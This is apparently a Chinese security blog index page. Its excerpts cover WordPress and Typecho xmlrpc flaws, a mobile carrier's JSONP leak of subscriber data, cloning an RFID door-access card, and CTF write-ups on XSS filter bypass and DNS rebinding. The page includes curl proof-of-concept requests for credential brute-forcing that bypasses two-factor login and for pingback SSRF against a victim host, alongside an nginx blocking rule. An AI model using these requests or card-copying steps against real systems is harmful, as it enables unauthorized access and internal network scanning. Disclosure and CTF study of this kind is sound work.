WordPress和Typecho xmlrpc漏洞

一般大家都关注WordPress,毕竟用户量巨大,而国内的Typecho作为轻量级的博客系统就关注的人并不多。Typecho有很多借鉴WordPress的,包括兼容的xmlrpc接口,而WordPress的这个接口爆出过多个漏洞,Typecho无一幸免。

账号密码爆破

WordPress的相关漏洞可以参考 https://blog.cloudflare.com/a-look-at-the-new-wordpress-brute-force-amplification-attack/ 这个漏洞在Typecho上要危害稍微小一点,因为WordPress是有破解保护的,而这个接口可以绕过这个保护,Typecho并没有这个保护,只要暴露了后台地址就然并卵了。但是我采用了后台登录的两步验证,这个接口接口确实绕过了两步验证。

POC

curl "https://example.com/action/xmlrpc" -d '<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>{USERNAME}</value></param><param><value>{PASSWORD}</value></param></params></methodCall>'

Ping back造成的dos和SSRF

WordPress会尝试去访问Ping back的url,可能会造成dos问题。参考http://www.acunetix.com/blog/articles/wordpress-pingback-vulnerability/

同时,没有对url进行校验,可以用来扫描内网。

WordPress后来修补了SSRF的问题,后来被绕过,前几天刚刚重新修复,见 http://xlab.baidu.com/wordpress/。但是Typecho没有任何过滤。

POC

curl "https://example.com/action/xmlrpc" -d '<methodCall><methodName>pingback.ping</methodName><params><param><value><string>http://victim.com</string></value></param><param><value><string>https://example.com/index.php/archives/732/</string></value></param></params></methodCall>'

看到了xml,还顺手测试了一把xxe,不过暂时没有发现这个问题。解析xml时候的本地拒绝服务是存在的,Inutio XML-RPC Library的问题,有两个CVE。

解决方案

nginx屏蔽此url

if ($uri ~ ^/index.php/action/xmlrpc) {
    return 403;
}

运营商劫持造成的风险案例

山东移动在使用3/4G的时候,会在网页中插入一段js,然后在网页右下角显示一个流量球,显示你当前剩余流量,点击流量球还可以办理业务。

请输入图片描述

请输入图片描述

但是在使用jsonp查询的时候没有进行有效的安全校验,导致用户在使用3/4G的时候该接口可以被任意网页js调用,可以获取用户手机号码,当前已经办理的业务,当前的套餐情况,办理各种套餐等。当然这里除了对手机号打码之外也没有别的办法进行校验,毕竟是插入到别人的页面的,校验referer肯定不行。

阅读全文...

初玩RFID

有段时间早晨去实验室比较早,但是我又没有门禁卡,只能默默的等别人来开门,而且听说办门禁卡很麻烦。看了下门外那个简陋的刷卡器,觉得自己买个读卡器复制一张应该不麻烦。

现在使用的比较多的智能卡主要分为

  • ID卡,只能存储一个ID
  • IC卡,可以存储ID和数据,常见的是Mifare1 S50卡
  • CPU卡

先记录下 M1 S50卡的结构

  • 分为16个扇区(0-15),每个扇区又分为4个区域块(0-63)
  • 每个扇区都有独立的一对密码keyA和keyB,负责控制对每个扇区数据的读写操作,keyA和keyB分布在每个扇区的第四块中
  • 第0扇区的第一个数据块,存储着IC卡的UID号,其他扇区可以存储其他的数据
  • 正常的卡的UID是只读的,不能出厂后再次修改,但是万能的淘宝上可以买到UID可写的白卡

需要的设备

  • ACR122U RFID读写器 淘宝或者阿里巴巴上可以买到,大约170元
  • 几张白卡,即UID区域可写的卡,一张大约2块钱
  • 需要复制的门禁卡

阅读全文...

bctf 部分writeup

又是一个和ctf一起度过的疲惫的周末。

QAQ

一个留言板,提交之后可以看到部分内容被过滤了,包括onscriptimg等,最终发现iframe标签没被过滤,而且可以利用的是srcsrcdoc属性,srcdoc使用html实体编码绕过。其中我遇到一个坑,就是开始认为&也被过滤了,而实际上是我没进行url编码,导致burp识别错误。

主办方的机器人一直不太稳定,第二天才真正的开始做这个题,xss探测结果是后台在http://104.199.132.251/4dm1n/show.php,cookies没啥用,页面源码也是只个列表,也没啥用。后来看到提示,说可以探测内网,想起使用webrtc,参考 http://www.wooyun.org/bugs/wooyun-2014-076685

阅读全文...

0ctf部分write up

首先不得不说这场比赛题目水平还是相当相当高的,毕竟是0ops团队。

Monkey

What is Same Origin Policy?

The flag is at http://127.0.0.1:8080/secret After you submitted a url, a monkey will browse the url. The monkey will stay 2 minutes on your page.
Try to find a string \$str so that (substr(md5(\$str), 0, 6) === '54d7ed').

首先这个题要计算md5,每次刷新页面都会变的,其实6位的md5组合并不多,理论上是$16^6$个,所以先计算出一些,保存起来,每次到文件中查找就好了。

import hashlib
for i in xrange(1000000000):
    print i, hashlib.md5(str(i)).hexdigest()

算了一会,觉得差不多了,就停了下来,生成了大约2G的文件。查询md5的时候,就使用cat md5.txt|grep xxxx

然后下面域名随便写了自己的一个域名,查看log确实会有一个访问,UA是Mozilla/5.0 0ctf by md5_salt,但是题目上是要访问127.0.0.1才行。

如果将自己的页面上加入js ajax访问127.0.0.1,会因为同源策略被拦截,访问失败。如果想跨域发送请求,需要对方网站设置Access-Control-Allow-Origin,但是没办法收到响应。

现在唯一能控制的就是自己的域名,能不能让自己的域名在爬虫访问的时候是正常的ip,然后js执行的时候变成127.0.0.1呢,这样域名仍然是不变的既可以跨域了。

后来在提示下找到了DNS Rebinding这个方法,页面加载后使用setTimeout增加js执行时间,然后在这个过程中修改域名解析到127.0.0.1,这个就要求DNS的TTL要尽可能的小,才能尽快的生效,一直在用的CloudXNS可以设置60s的TTL,已经足够了。

阅读全文...